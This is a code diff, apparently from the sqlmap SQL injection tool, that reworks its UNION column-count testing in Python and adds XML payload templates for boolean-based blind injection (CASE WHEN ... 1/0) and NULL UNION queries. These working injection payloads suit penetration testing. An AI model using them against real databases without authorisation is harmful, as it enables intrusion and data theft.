for count in range(conf.uColsStart, conf.uColsStop+1):
|
||||
if kb.dbms == DBMS.ORACLE and query.endswith(" FROM DUAL"):
|
||||
query = query[:-len(" FROM DUAL")]
|
||||
|
||||
if num:
|
||||
if count:
|
||||
query += ", %s" % conf.uChar
|
||||
|
||||
if kb.dbms == DBMS.ORACLE:
|
||||
query += " FROM DUAL"
|
||||
|
||||
if conf.verbose in (1, 2):
|
||||
length = conf.uColsStop + 1 - conf.uColsStart
|
||||
count = num - conf.uColsStart + 1
|
||||
status = '%d/%d (%d%s)' % (count, length, round(100.0*count/length), '%')
|
||||
status = '%d/%d (%d%s)' % (count, conf.uColsStop, round(100.0*count/conf.uColsStop), '%')
|
||||
dataToStdout("\r[%s] [INFO] number of columns: %s" % (time.strftime("%X"), status), True)
|
||||
|
||||
validPayload = __unionConfirm(num, comment)
|
||||
dataToStdout("\n")
|
||||
|
||||
validPayload, unionVector = __unionConfirm(comment, place, parameter, value, prefix, suffix, count)
|
||||
|
||||
if validPayload:
|
||||
setUnion(count=num)
|
||||
setUnion(count=count)
|
||||
break
|
||||
|
||||
clearConsoleLine(True)
|
||||
|
||||
return validPayload
|
||||
return validPayload, unionVector
|
||||
|
||||
def unionTest():
|
||||
def unionTest(comment, place, parameter, value, prefix, suffix):
|
||||
"""
|
||||
This method tests if the target url is affected by an inband
|
||||
SQL injection vulnerability. The test is done up to 3*50 times
|
||||
|
@ -145,9 +150,6 @@ def unionTest():
|
|||
if conf.direct:
|
||||
return
|
||||
|
||||
if kb.unionTest is not None:
|
||||
return kb.unionTest
|
||||
|
||||
oldTechnique = kb.technique
|
||||
kb.technique = PAYLOAD.TECHNIQUE.UNION
|
||||
|
||||
|
@ -156,12 +158,7 @@ def unionTest():
|
|||
else:
|
||||
technique = "char (%s) bruteforcing" % conf.uChar
|
||||
|
||||
infoMsg = "testing inband sql injection on parameter "
|
||||
infoMsg += "'%s' with %s technique" % (kb.injection.parameter, technique)
|
||||
logger.info(infoMsg)
|
||||
|
||||
comment = queries[kb.dbms].comment.query
|
||||
validPayload = __unionTestByCharBruteforce(comment)
|
||||
validPayload, unionVector = __unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix)
|
||||
|
||||
if validPayload:
|
||||
validPayload = agent.removePayloadDelimiters(validPayload, False)
|
||||
|
@ -169,16 +166,4 @@ def unionTest():
|
|||
setUnion(comment=comment)
|
||||
setUnion(payload=validPayload)
|
||||
|
||||
if kb.unionTest is not None:
|
||||
infoMsg = "the target url is affected by an exploitable "
|
||||
infoMsg += "inband sql injection vulnerability "
|
||||
infoMsg += "on parameter '%s' with %d columns" % (kb.injection.parameter, kb.unionCount)
|
||||
logger.info(infoMsg)
|
||||
else:
|
||||
infoMsg = "the target url is not affected by an exploitable "
|
||||
infoMsg += "inband sql injection vulnerability "
|
||||
infoMsg += "on parameter '%s'" % kb.injection.parameter
|
||||
logger.info(infoMsg)
|
||||
kb.technique = oldTechnique
|
||||
|
||||
return kb.unionTest
|
||||
return validPayload, unionVector
|
||||
|
|
|
@ -15,12 +15,14 @@ from lib.core.common import calculateDeltaSeconds
|
|||
from lib.core.common import clearConsoleLine
|
||||
from lib.core.common import dataToStdout
|
||||
from lib.core.common import getUnicode
|
||||
from lib.core.common import initTechnique
|
||||
from lib.core.common import parseUnionPage
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.core.data import queries
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.unescaper import unescaper
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.techniques.inband.union.test import unionTest
|
||||
|
@ -35,6 +37,8 @@ def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullCh
|
|||
inband SQL injection on the affected url
|
||||
"""
|
||||
|
||||
initTechnique(PAYLOAD.TECHNIQUE.UNION)
|
||||
|
||||
count = None
|
||||
origExpr = expression
|
||||
start = time.time()
|
||||
|
|
|
@ -553,6 +553,22 @@ Formats:
|
|||
<risk>1</risk>
|
||||
<clause>1,2,3</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/0 END))</vector>
|
||||
<request>
|
||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END))</comparison>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic boolean-based blind - Parameter replace (original value)</title>
|
||||
<stype>1</stype>
|
||||
<level>3</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3</clause>
|
||||
<where>3</where>
|
||||
<vector>(SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
|
||||
<request>
|
||||
<payload>(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
|
||||
|
@ -650,6 +666,22 @@ Formats:
|
|||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN 1 ELSE 1/0 END))</vector>
|
||||
<request>
|
||||
<payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 1/0 END))</payload>
|
||||
</request>
|
||||
<response>
|
||||
<comparison>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN 1 ELSE 1/0 END))</comparison>
|
||||
</response>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic boolean-based blind - GROUP BY and ORDER BY clauses (original value)</title>
|
||||
<stype>1</stype>
|
||||
<level>4</level>
|
||||
<risk>1</risk>
|
||||
<clause>2,3</clause>
|
||||
<where>1</where>
|
||||
<vector>, (SELECT (CASE WHEN ([INFERENCE]) THEN [ORIGVALUE] ELSE 1/0 END))</vector>
|
||||
<request>
|
||||
<payload>, (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN [ORIGVALUE] ELSE 1/0 END))</payload>
|
||||
|
@ -1824,4 +1856,47 @@ Formats:
|
|||
<!-- TODO: if possible, add payload for Microsoft Access and SAP MaxDB -->
|
||||
<!-- End of OR time-based blind tests -->
|
||||
|
||||
<!-- UNION query tests -->
|
||||
<test>
|
||||
<title>MySQL NULL UNION query - 4 to 7 columns</title>
|
||||
<stype>3</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>#</comment>
|
||||
<char>NULL</char>
|
||||
<columns>4-7</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
<details>
|
||||
<dbms>MySQL</dbms>
|
||||
</details>
|
||||
</test>
|
||||
|
||||
<test>
|
||||
<title>Generic NULL UNION query - 1 to 3 columns</title>
|
||||
<stype>3</stype>
|
||||
<level>1</level>
|
||||
<risk>1</risk>
|
||||
<clause>1,2,3,4,5</clause>
|
||||
<where>1</where>
|
||||
<vector>[UNION]</vector>
|
||||
<request>
|
||||
<payload/>
|
||||
<comment>--</comment>
|
||||
<char>NULL</char>
|
||||
<columns>1-3</columns>
|
||||
</request>
|
||||
<response>
|
||||
<union/>
|
||||
</response>
|
||||
</test>
|
||||
<!-- End of UNION query tests -->
|
||||
|
||||
</root>
|
||||
|
|
Loading…
Reference in New Issue
Block a user